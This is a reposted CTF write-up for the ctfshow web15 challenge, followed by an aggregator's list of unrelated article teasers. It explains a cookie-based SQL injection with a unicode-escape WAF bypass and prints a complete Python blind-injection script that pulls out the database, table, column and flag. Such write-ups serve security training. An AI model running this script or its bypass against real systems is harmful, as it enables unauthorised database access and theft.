ctfshow-web-web15 Fishman

0x00 前言

  • CTF 加解密合集
  • CTF Web合集
  • 网络安全知识库
  • 溯源相关

文中工具皆可关注 皓月当空w 公众号 发送关键字 工具 获取

0x01 题目

在这里插入图片描述

0x02 Write Up

首先拿到题目,先扫描一下,发现一个www.zip

在这里插入图片描述
发现一个admin目录,访问一下:

在这里插入图片描述
在member.php中发现一段代码,这段代码中存在sql注入,也就是在cookie中的sql注入

在这里插入图片描述
有一个要点是,在代码中存在waf

在这里插入图片描述
这里有一个小知识就是json_decode可以识别unicode代码。那么我们可以将我们的测试poc改为unicode

true的话会返回一组

在这里插入图片描述
false会返回两组
在这里插入图片描述

以此为依据,可以进行遍历

脚本用的是大佬写好的脚本

#encoding=utf-8
import requestsurl = "http://f17498a1-535d-45db-8840-09657e3b6c78.challenge.ctf.show/admin/"def tamper(payload):payload = payload.lower()payload = payload.replace('u', '\\u0075')payload = payload.replace('\'', '\\u0027')payload = payload.replace('o', '\\u006f')payload = payload.replace('i', '\\u0069')payload = payload.replace('"', '\\u0022')payload = payload.replace(' ', '\\u0020')payload = payload.replace('s', '\\u0073')payload = payload.replace('#', '\\u0023')payload = payload.replace('>', '\\u003e')payload = payload.replace('<', '\\u003c')payload = payload.replace('-', '\\u002d')payload = payload.replace('=', '\\u003d')payload = payload.replace('f1a9', 'F1a9')payload = payload.replace('f1', 'F1')return payload#get database length
def databaseName_len():print ("start get database name length...")for l in range(0,45):payload = "1' or (length(database())=" + str(l+1) + ")#"print(payload)payload = tamper(payload)print(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadprint(tmpCookie)exit()headers = {'cookie': tmpCookie}r =requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 1)):print('get db length = ' + str(l).lower())break#get content
def get_databaseName():flag = ''for j in range(0, 15):for c in range(0x20,0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"#print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r =requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('databasename = ' + flag.lower())break#get content
def get_tableName():flag = ''for j in range(0, 30):           #blind injectfor c in range(0x20,0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"#print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r =requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('tablename = ' + flag.lower())break#get content
def get_ColumnName():flag = ''for j in range(0, 10):           #blind injectfor c in range(0x20,0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"#print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r =requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('column name = ' + flag.lower())break#get content
def get_value():flag = ''for j in range(0, 50):           #blind injectfor c in range(0x20,0x7f):if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':continueelse:payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"#print(payload)payload = tamper(payload)tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payloadheaders = {'cookie': tmpCookie}r =requests.get(url, headers=headers)myHeaders = str(r.raw.headers)if ((myHeaders.count("login_data") == 2)):flag += chr(c - 1)print('flag = ' + flag.lower())breakprint ("start database sql injection...")
# databaseName_len()
# get_databaseName()
# get_tableName()
# get_ColumnName()
get_value()

0x03 other

欢迎大家关注我朋友的公众号 皓月当空w 分享漏洞情报以及各种学习资源,技能树,面试题等。

以上

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/75568.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【算法训练-字符串 三】最长公共子串、最长公共子序列

废话不多说&#xff0c;喊一句号子鼓励自己&#xff1a;程序员永不失业&#xff0c;程序员走向架构&#xff01;本篇Blog的主题是【】&#xff0c;使用【】这个基本的数据结构来实现&#xff0c;这个高频题的站点是&#xff1a;CodeTop&#xff0c;筛选条件为&#xff1a;目标公…

使用多线程或异步技术提高图片抓取效率

导语 图片抓取是爬虫技术中常见的需求&#xff0c;但是图片抓取的效率受到很多因素的影响&#xff0c;比如网速、网站反爬机制、图片数量和大小等。本文将介绍如何使用多线程或异步技术来提高图片抓取的效率&#xff0c;以及如何使用爬虫代理IP来避免被网站封禁。 概述 多线…

C++多态案例-设计计算器类

1.前置知识点 多态是面向对象的三大特性之一 多态分为两类 静态多态&#xff1a;函数重载和运算符重载都属于静态多态&#xff0c;复用函数名动态多态&#xff1a;派生类和虚函数实现运行时多态 静态多态和动态多态的区别 静态多态的函数地址早绑定-----编译阶段确定函数地…

Vim 插件应用篇 vim-plug:简洁高效的Vim插件管理工具

用插件管理插件 Vim-plug介绍 Vim-plug 是一个Vim插件管理器&#xff0c;利用异步并行可以快速地安装、更新和卸载插件。它的安装和配置都非常简单&#xff0c;而且在操作过程中会给出很多易读的反馈信息&#xff0c;是一个自由、开源、速度非常快的、并行地安装或更新插件&a…

Ukey连接虚拟前置机,浦银安盛基金用USB Server解决

浦银安盛基金一直使用物理前置机来连接Ukey&#xff0c;物理前置机维护管理不便&#xff0c;严重影响金融交易效率。因此&#xff0c;浦银安盛基金想要推进企业虚拟化&#xff0c;通过在虚拟机中部署前置机程序的方式&#xff0c;将前置机部署到虚拟机中。但虚拟机中的前置机&a…

shell脚本指令:for循环、函数、数组、grep等指令的使用

1、实现一个对数组求和的函数&#xff0c;数组通过实参传递给函数 2、写一个函数&#xff0c;输出当前用户的uid和gid 并使用变量接收结果 #!/bin/bash echo "请输入一个数组" read -a arr function add_arr() {var1${#arr[*]}for i in ${arr[*]} do((sumi))doner…

微信小程序上拉触底事件

一、什么是上拉触底事件 上拉触底是移动端的专有名词&#xff0c;通过手指在屏幕上的上拉滑动操作&#xff0c;从而加载更多数据的行为。 二、监听上拉触底事件 在页面的.js文件中&#xff0c;通过onReachBottom()函数即可监听当前页面的上拉触底事件。 三、配置上拉触底距…

设计模式-桥接模式(Bridge)

文章目录 前言一、桥接模式的概念二、桥接模式的实现三、桥接模式的优缺点1、优点&#xff1a;2、缺点&#xff1a; 前言 桥接模式&#xff08;Bridge Pattern&#xff09;是一种结构型设计模式&#xff0c;用于将抽象部分和实现部分分离&#xff0c;使它们可以独立地变化。这…

QT 5.13保姆级安装教程

辨清关系 要想学习一个新的东西,我们必须知其事,达其理,悟其道,然后才能无往而不利也! 我们常听到QT、Qt Creator 和 Qt SDK ,这三者究竟是什么,他们之间的关系又是如何的?在安装QT之前我们先来了解一下他们之间的关系: Qt:Qt 是一个跨平台的 C++ 应用程序开发框架,…

解决mysql表不能查询修改删除等操作并出现卡死

问题现象1&#xff1a;进程wait卡住 测试环境mysql出现了一个怪表&#xff1a;select查询表卡死&#xff0c;alter修改表卡死&#xff0c;甚至我不想要这个表了&#xff0c;delete、truncate、drop表都卡死卡主了… 解决办法&#xff1a; >show full processlist;    /…

一生一芯10——verilator v5.008环境搭建

搜索 verilator 官网&#xff0c;得到网址如下&#xff1a; https://www.veripool.org/verilator/ 点击download 找到 git quick install 可以看到git快捷安装所需命令行 可以看到&#xff0c;需要预先安装下面的包文件&#xff0c;去掉前面的#注释符号进行安装 直接进行下面…

天津大数据培训学校 大数据可从事的行业

大数据行业近年来呈现出爆炸式的增长态势&#xff0c;各行各业都越来越依赖数据来指导业务决策和创新发展&#xff0c;因此&#xff0c;大数据专业人才的需求也随之增长。这种行业需求的增长为大数据就业提供了良好的机会&#xff0c;尤其是对于具备相关技能和知识的人来说。 …

【C#】关于Array.Copy 和 GC

关于Array.Copy 和 GC //一个简单的 数组copy 什么情况下会触发GC呢[ReliabilityContract(Consistency.MayCorruptInstance, Cer.MayFail)]public static void Copy(Array sourceArray,long sourceIndex,Array destinationArray,long destinationIndex,long length);当源和目…

173. 二叉搜索树迭代器

173. 二叉搜索树迭代器 题目-中等难度示例1. 列表解 题目-中等难度 实现一个二叉搜索树迭代器类BSTIterator &#xff0c;表示一个按中序遍历二叉搜索树&#xff08;BST&#xff09;的迭代器&#xff1a; BSTIterator(TreeNode root) 初始化 BSTIterator 类的一个对象。BST 的…

js如何实现字符串反转?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 使用 split() 和 reverse() 方法⭐ 使用循环⭐ 使用递归⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&#xff01;这个专…

肖sir__设计测试用例方法之因果图07_(黑盒测试)

设计测试用例方法之因果图 一、定义&#xff1a;因果图提供了一个把规格转化为判定表的系统化方法&#xff0c;从该图中可以产生测试数据。其 中&#xff0c;原因是表示输入条件&#xff0c;结果是对输入执 行的一系列计算后得到的输出。 二、因果图方法最终生成的就是判定表。…

MySQL主从复制读写分离

读写分离 读写分离&#xff0c;基本的原理是让主数据库处理事务性增、改、删操作&#xff08;INSERT、UPDATE、DELETE&#xff09;&#xff0c;而从数据库处理SELECT查询操作。数据库复制被用来把事务性操作导致的变更同步到集群中的从数据库 读写分离的好处 因为数据库的“写…

【Linux基础】权限管理

​&#x1f47b;内容专栏&#xff1a; Linux操作系统基础 &#x1f428;本文概括&#xff1a; 用户之间的切换、sudo提权、Linux权限管理、文件访问权限的相关方法、目录权限、粘滞位等 &#x1f43c;本文作者&#xff1a; 阿四啊 &#x1f438;发布时间&#xff1a;2023.9.11 …

elasticsearch的DSL查询文档

DSL查询分类 查询所有&#xff1a;查询出所有数据&#xff0c;一般测试用。例如&#xff1a;match_all 全文检索&#xff08;full text&#xff09;查询&#xff1a;利用分词器对用户输入内容分词&#xff0c;然后去倒排索引库中匹配。例如&#xff1a; match_query multi_ma…

在Qt创建的UI中放一个显示点云的窗口(PCL+QT5)

1、首先在Qt Designer创建UI后&#xff0c;拖一个Widget窗口出来 2、在对象查看器中右击该Widget&#xff0c;选择提升窗口部件&#xff0c;如下操作&#xff1a; 3、把UI转出来放在VS项目中&#xff0c;其中你的UI代码头文件会自带QVTKOpenGLNativeWidget.h&#xff0c;当然你…